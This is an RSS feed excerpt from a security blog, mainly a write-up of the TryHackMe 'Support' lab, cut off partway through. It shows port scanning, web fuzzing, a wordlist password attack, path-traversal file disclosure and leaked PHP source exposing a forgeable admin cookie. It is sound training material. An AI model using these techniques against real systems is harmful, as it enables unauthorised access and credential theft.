href="#🛡️-Who-Is-This-For">#</a></h2><ul><li><strong>Pentesters</strong> – Expand your attack surface and deliver more comprehensive reports.</li><li><strong>Bug Bounty Hunters</strong> – Find misconfigured targets and low-hanging fruit before anyone else.</li><li><strong>Security Researchers</strong> – Fuel your OSINT investigations with unique, actionable internet-wide data.</li><li><strong>Developers</strong> – Seamlessly integrate Shodan into your own monitoring and security applications.</li></ul><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="✨-Don-t-Stay-on-the-Surface">✨ Don't Stay on the Surface<a class="header-anchor" href="#✨-Don-t-Stay-on-the-Surface">#</a></h2><p>Shodan is far more than a search engine. It's an <strong>intelligence platform</strong> that reveals the hidden layers of the internet. With this course, you won't just skim through results—you'll <strong>interpret every banner</strong>, <strong>refine every query</strong>, and <strong>automate every step</strong> of your reconnaissance workflow.</p><p>Ready to level up?</p><p>👉 <a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1"><strong>Get the course now</strong></a> and make Shodan your ultimate secret weapon for pentesting and bug bounty missions.</p><hr><h2 id="Feedback">Feedback<a class="header-anchor" href="#Feedback">#</a></h2><p>Is there a topic that hasn't been covered? Is some content out of date? Did a mistake slip in?No problem—contact me on <a href="https://twitter.com/noraj_rawsec">Twitter / X</a> or <a href="noraj_">Discord</a>, and I'll update the course.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Support - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Support-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Support</li>
<li><st]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/rce/">rce</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/wordlist/">wordlist</category>
      <category domain="https://blog.raw.pm/tags/idor/">idor</category>
      <category domain="https://blog.raw.pm/tags/lfd/">lfd</category>
      <category domain="https://blog.raw.pm/tags/credential-stuffing/">credential stuffing</category>
      <pubDate>Thu, 11 Jun 2026 22:19:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Support</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/support">tryhackme.com</a></li><li><strong>Difficulty:</strong> Medium</li><li><strong>Description</strong>: Pentest the Support Ops platform to exploit vulnerabilities and achieve RCE.</li></ul><p><img src="/images/TryHackMe/support.png" alt="Support"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> nmap</span><span style="color:#98C379"> ffuf</span><span style="color:#98C379"> legba</span><span style="color:#98C379"> curl</span><span style="color:#98C379"> john</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart2939" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart2939').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        4,        2,        0,        4,        4,        1      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Network-discovery">Network discovery<a class="header-anchor" href="#Network-discovery">#</a></h2><p>Let's perform a network scan on the target.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span># Nmap 7.99 scan initiated Thu Jun 11 01:39:58 2026 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap_10.129.173.118 10.129.173.118</span></span><span class="line"><span>Nmap scan report for 10.129.173.118</span></span><span class="line"><span>Host is up, received echo-reply ttl 62 (0.080s latency).</span></span><span class="line"><span>Not shown: 63598 closed tcp ports (reset), 1935 filtered tcp ports (no-response)</span></span><span class="line"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit</span></span><span class="line"><span>PORT   STATE SERVICE REASON         VERSION</span></span><span class="line"><span>22/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)</span></span><span class="line"><span>| ssh-hostkey:</span></span><span class="line"><span>|   256 8e:a3:75:56:d3:96:ca:64:e7:1b:e6:ae:15:d3:e5:35 (ECDSA)</span></span><span class="line"><span>|_  256 de:f6:d8:7f:a8:3c:2e:27:f9:43:b1:77:bc:59:26:34 (ED25519)</span></span><span class="line"><span>80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.58 ((Ubuntu))</span></span><span class="line"><span>|_http-title: Support Operations Panel</span></span><span class="line"><span>|_http-server-header: Apache/2.4.58 (Ubuntu)</span></span><span class="line"><span>| http-cookie-flags:</span></span><span class="line"><span>|   /:</span></span><span class="line"><span>|     PHPSESSID:</span></span><span class="line"><span>|_      httponly flag not set</span></span><span class="line"><span>| http-methods:</span></span><span class="line"><span>|_  Supported Methods: GET HEAD POST OPTIONS</span></span><span class="line"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span></span><span class="line"><span></span></span><span class="line"><span>Read data files from: /usr/bin/../share/nmap</span></span><span class="line"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span></span><span class="line"><span># Nmap done at Thu Jun 11 01:40:37 2026 -- 1 IP address (1 host up) scanned in 39.62 seconds</span></span></code></pre></div></div></figure><p>Nothing outside the web app and a ssh server.</p><h2 id="Web-enumeration">Web enumeration<a class="header-anchor" href="#Web-enumeration">#</a></h2><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ffuf -u http://10.129.173.118/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt</span></span><span class="line"><span>[…]</span></span><span class="line"><span></span></span><span class="line"><span>       v2.1.0-dev</span></span><span class="line"><span>________________________________________________</span></span><span class="line"><span></span></span><span class="line"><span> :: Method           : GET</span></span><span class="line"><span> :: URL              : http://10.129.173.118/FUZZ</span></span><span class="line"><span> :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt</span></span><span class="line"><span> :: Follow redirects : false</span></span><span class="line"><span> :: Calibration      : false</span></span><span class="line"><span> :: Timeout          : 10</span></span><span class="line"><span> :: Threads          : 40</span></span><span class="line"><span> :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500</span></span><span class="line"><span>________________________________________________</span></span><span class="line"><span></span></span><span class="line"><span>js                      [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 849ms]</span></span><span class="line"><span>skins                   [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 47ms]</span></span><span class="line"><span>layout                  [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 47ms]</span></span><span class="line"><span>includes                [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 2856ms]</span></span><span class="line"><span>server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 75ms]</span></span><span class="line"><span>:: Progress: [26583/26583] :: Job [1/1] :: 621 req/sec :: Duration: [0:00:46] :: Errors: 1 ::</span></span></code></pre></div></div></figure><p>Directory listing is enabled on those folders. This may be interesting later (easily discovering the files available).</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ffuf -u http://10.129.173.118/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt</span></span><span class="line"><span>[…]</span></span><span class="line"><span></span></span><span class="line"><span>       v2.1.0-dev</span></span><span class="line"><span>________________________________________________</span></span><span class="line"><span></span></span><span class="line"><span> :: Method           : GET</span></span><span class="line"><span> :: URL              : http://10.129.173.118/FUZZ</span></span><span class="line"><span> :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt</span></span><span class="line"><span> :: Follow redirects : false</span></span><span class="line"><span> :: Calibration      : false</span></span><span class="line"><span> :: Timeout          : 10</span></span><span class="line"><span> :: Threads          : 40</span></span><span class="line"><span> :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500</span></span><span class="line"><span>________________________________________________</span></span><span class="line"><span></span></span><span class="line"><span>index.php               [Status: 200, Size: 2591, Words: 866, Lines: 93, Duration: 56ms]</span></span><span class="line"><span>config.php              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 67ms]</span></span><span class="line"><span>footer.php              [Status: 200, Size: 1253, Words: 377, Lines: 39, Duration: 51ms]</span></span><span class="line"><span>logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms]</span></span><span class="line"><span>.htaccess               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 56ms]</span></span><span class="line"><span>api.php                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 52ms]</span></span><span class="line"><span>info.php                [Status: 200, Size: 73369, Words: 3585, Lines: 821, Duration: 60ms]</span></span><span class="line"><span>.                       [Status: 200, Size: 2591, Words: 866, Lines: 93, Duration: 45ms]</span></span><span class="line"><span>.html                   [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 48ms]</span></span><span class="line"><span>.php                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 41ms]</span></span><span class="line"><span>dashboard.php           [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 76ms]</span></span><span class="line"><span>.htpasswd               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 179ms]</span></span><span class="line"><span>.htm                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 55ms]</span></span><span class="line"><span>.htpasswds              [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 72ms]</span></span><span class="line"><span>.htgroup                [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 65ms]</span></span><span class="line"><span>wp-forum.phps           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 59ms]</span></span><span class="line"><span>.htaccess.bak           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 49ms]</span></span><span class="line"><span>.htuser                 [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 64ms]</span></span><span class="line"><span>.htc                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 66ms]</span></span><span class="line"><span>.ht                     [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 66ms]</span></span><span class="line"><span>:: Progress: [16244/16244] :: Job [1/1] :: 598 req/sec :: Duration: [0:00:29] :: Errors: 0 ::</span></span></code></pre></div></div></figure><p>We can access a <code>phpinfo()</code> at <code>/info.php</code>. No interesting secrets to find here.</p><p>Quick SQLi tests on the login form is not giving any result.</p><p>Vhost enumeration not giving anything either.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ffuf -u http://10.129.173.118/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -H 'Host: FUZZ.support.thm' -fs 2591</span></span><span class="line"><span>➜ ffuf -u http://10.129.173.118/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -H 'Host: FUZZ.support.thm' -fs 2591</span></span></code></pre></div></div></figure><p><a href="http://10.129.173.118/footer.php">http://10.129.173.118/footer.php</a> is interesting, there is a menu to select a skin, that matches the files we observed in the <code>skins/</code> folder. There is a serious potential of local file disclosure here (LFD).</p><figure class="shiki html"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">ul</span><span style="color:#D19A66"> class</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"dropdown-menu dropdown-menu-end"</span><span style="color:#ABB2BF">></span></span><span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">li</span><span style="color:#ABB2BF">>&#x3C;</span><span style="color:#E06C75">a</span><span style="color:#D19A66"> class</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"dropdown-item"</span><span style="color:#D19A66"> href</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"?skin=default"</span><span style="color:#ABB2BF">>Default&#x3C;/</span><span style="color:#E06C75">a</span><span style="color:#ABB2BF">>&#x3C;/</span><span style="color:#E06C75">li</span><span style="color:#ABB2BF">></span></span><span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">li</span><span style="color:#ABB2BF">>&#x3C;</span><span style="color:#E06C75">a</span><span style="color:#D19A66"> class</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"dropdown-item text-danger"</span><span style="color:#D19A66"> href</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"?skin=red"</span><span style="color:#ABB2BF">>Red&#x3C;/</span><span style="color:#E06C75">a</span><span style="color:#ABB2BF">>&#x3C;/</span><span style="color:#E06C75">li</span><span style="color:#ABB2BF">></span></span><span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">li</span><span style="color:#ABB2BF">>&#x3C;</span><span style="color:#E06C75">a</span><span style="color:#D19A66"> class</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"dropdown-item text-success"</span><span style="color:#D19A66"> href</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"?skin=green"</span><span style="color:#ABB2BF">>Green&#x3C;/</span><span style="color:#E06C75">a</span><span style="color:#ABB2BF">>&#x3C;/</span><span style="color:#E06C75">li</span><span style="color:#ABB2BF">></span></span><span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">li</span><span style="color:#ABB2BF">>&#x3C;</span><span style="color:#E06C75">a</span><span style="color:#D19A66"> class</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"dropdown-item text-primary"</span><span style="color:#D19A66"> href</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"?skin=blue"</span><span style="color:#ABB2BF">>Blue&#x3C;/</span><span style="color:#E06C75">a</span><span style="color:#ABB2BF">>&#x3C;/</span><span style="color:#E06C75">li</span><span style="color:#ABB2BF">></span></span><span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">ul</span><span style="color:#ABB2BF">></span></span></code></pre></div></div></figure><p>However, calling <code>?skin=red</code> on the footer page or the homepage changes nothing. But this may be usefull later when we'll have access to the dashboard.</p><h2 id="Authentication-wordlist-attack">Authentication wordlist attack<a class="header-anchor" href="#Authentication-wordlist-attack">#</a></h2><p>Anything juicy is authenticated, so let's attack the password of the <code>help@support.thm</code> account.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>$ legba http \</span></span><span class="line"><span>  -U 'help@support.thm' \</span></span><span class="line"><span>  -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \</span></span><span class="line"><span>  -T http://10.129.173.118/ \</span></span><span class="line"><span>  --http-method POST \</span></span><span class="line"><span>  --http-success '!contains(body, "Invalid credentials")' \</span></span><span class="line"><span>  --http-payload 'email={USERNAME}&#x26;password={PASSWORD}' \</span></span><span class="line"><span>  --single-match \</span></span><span class="line"><span>  -Q</span></span><span class="line"><span>[…]</span></span><span class="line"><span>[INFO ] [2026-06-11 02:33:20] (http) &#x3C;http://10.129.173.118/> username=help@support.thm password=REDACTED</span></span><span class="line"><span>[…]</span></span></code></pre></div></div></figure><h2 id="Local-file-disclosure-LFD">Local file disclosure (LFD)<a class="header-anchor" href="#Local-file-disclosure-LFD">#</a></h2><p>We already identified the LFD earlier in the footer, now that we are authenticated is the time to exploit it.</p><p><code>/dashboard.php?skin=../config</code></p><div class='fold collapsed'>    <div class='fold-title'>        config.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$MASTER_PASSWORD</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'REDACTED'</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$SITE_VER</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '1.0'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">$SITE_NAME</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'support_portal'</span><span style="color:#ABB2BF">;</span></span></code></pre></div></div></figure>    </div></div><p><code>/dashboard.php?skin=../index</code></p><div class='fold collapsed'>    <div class='fold-title'>        index.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#56B6C2">session_start</span><span style="color:#ABB2BF">();</span></span><span class="line"><span style="color:#C678DD">include</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'/var/www/db.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$error</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$_SERVER</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'REQUEST_METHOD'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#98C379"> 'POST'</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">    $email</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_POST</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'email'</span><span style="color:#ABB2BF">] ?? </span><span style="color:#98C379">''</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">    $password</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_POST</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'password'</span><span style="color:#ABB2BF">] ?? </span><span style="color:#98C379">''</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    foreach</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$users</span><span style="color:#ABB2BF"> as </span><span style="color:#E06C75">$id</span><span style="color:#ABB2BF"> => </span><span style="color:#E06C75">$user</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#C678DD">        if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$user</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'email'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#E06C75"> $email</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#E06C75"> $user</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'password'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#E06C75"> $password</span><span style="color:#ABB2BF">) {</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">            $_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'loggedin'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> true</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">            $_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'user_id'</span><span style="color:#ABB2BF">]  </span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $id</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'admin'</span><span style="color:#ABB2BF">]  </span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $user</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'admin'</span><span style="color:#ABB2BF">];</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">            setcookie</span><span style="color:#ABB2BF">(</span></span><span class="line"><span style="color:#98C379">                'isITUser'</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#E06C75">                $user</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'admin'</span><span style="color:#ABB2BF">]</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2"> md5</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"true"</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD"> :</span><span style="color:#56B6C2"> md5</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"false"</span><span style="color:#ABB2BF">),</span></span><span class="line"><span style="color:#56B6C2">                time</span><span style="color:#ABB2BF">()</span><span style="color:#56B6C2"> +</span><span style="color:#D19A66"> 3600</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#98C379">                '/'</span></span><span class="line"><span style="color:#ABB2BF">            );</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">            header</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Location: dashboard.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">            exit</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">        }</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">    $error</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'Invalid credentials'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure>    </div></div><p><code>/dashboard.php?skin=../dashboard</code></p><div class='fold collapsed'>    <div class='fold-title'>        dashboard.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#56B6C2">session_start</span><span style="color:#ABB2BF">();</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'loggedin'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"><span style="color:#56B6C2">    header</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Location: index.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">    exit</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$isIT</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_COOKIE</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'isITUser'</span><span style="color:#ABB2BF">] ?? </span><span style="color:#56B6C2">md5</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"false"</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#E06C75">$skin</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'skin'</span><span style="color:#ABB2BF">] ?? </span><span style="color:#98C379">'default'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$webRoot</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> realpath</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'/var/www/html/skins'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#E06C75">$another</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> realpath</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'/var/www/html'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#E06C75">$requested</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> realpath</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$webRoot</span><span style="color:#ABB2BF"> .</span><span style="color:#98C379"> '/'</span><span style="color:#ABB2BF"> .</span><span style="color:#E06C75"> $skin</span><span style="color:#ABB2BF"> .</span><span style="color:#98C379"> '.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$requested</span><span style="color:#56B6C2"> !==</span><span style="color:#D19A66"> false</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#56B6C2"> strpos</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$requested</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> $another</span><span style="color:#ABB2BF">) </span><span style="color:#56B6C2">===</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#56B6C2">    readfile</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$requested</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$isIT</span><span style="color:#56B6C2"> ===</span><span style="color:#56B6C2"> md5</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'true'</span><span style="color:#ABB2BF">))</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card mt-4 border-success"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">h5 </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"text-success"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">IT Admin Panel</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">h5</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">a href</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"api.php"</span><span style="color:#E5C07B"> class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"btn btn-success"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">View API</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">a</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'admin'</span><span style="color:#ABB2BF">]) </span><span style="color:#56B6C2">&#x26;&#x26;</span><span style="color:#E06C75"> $_SESSION</span><span style="color:#ABB2BF">[</span><span 